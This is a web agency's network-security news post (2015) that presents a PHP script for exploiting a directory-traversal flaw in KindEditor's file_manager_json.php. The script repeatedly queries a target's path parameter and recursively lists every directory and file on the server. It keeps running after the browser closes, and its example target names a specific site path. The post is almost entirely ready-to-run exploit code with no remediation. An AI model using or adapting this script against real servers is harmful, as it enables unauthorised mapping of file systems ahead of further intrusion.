服务Q Q:75303307

网站优化

网站建设

工作时间:周一至周五:8:30-6:00 周六、日:9:00-5:00

网络安全

您的位置:主页 > 新闻观点 > 网络安全 > 详细内容>

利用KINDEDITOR的遍历漏洞的自动化遍历脚本

2015-04-09 12:24 作者:admin [ ]
<?php

/**
 * 利用KINDEDITOR的遍历漏洞,采用脚本自己遍历出所有目录及文件,生成结构图 便于发现问题
 */
ob_end_clean();
ob_implicit_flush(1);
header("Content-Type: text/html; charset=UTF-8");
set_time_limit(0);
ignore_user_abort();//关掉浏览器,PHP脚本也可以继续执行.

$url = "http://wwww.xxx.com/js/php/file_manager_json.php?path=var/www/html/ivr.51jiabo.com/";

getdir($url);


function getdir($url){
    $json = file_get_contents($url);
    $arr = json_decode($json);
    echo($arr->current_dir_path)."<br />";
    foreach($arr->file_list as $key=>$value){
        if($value->is_dir == true)
        {
            getdir($url . $value->filename . "/");
        }
        else
        {
            echo $value->filename . "<br />";
        }
    }
}


//递归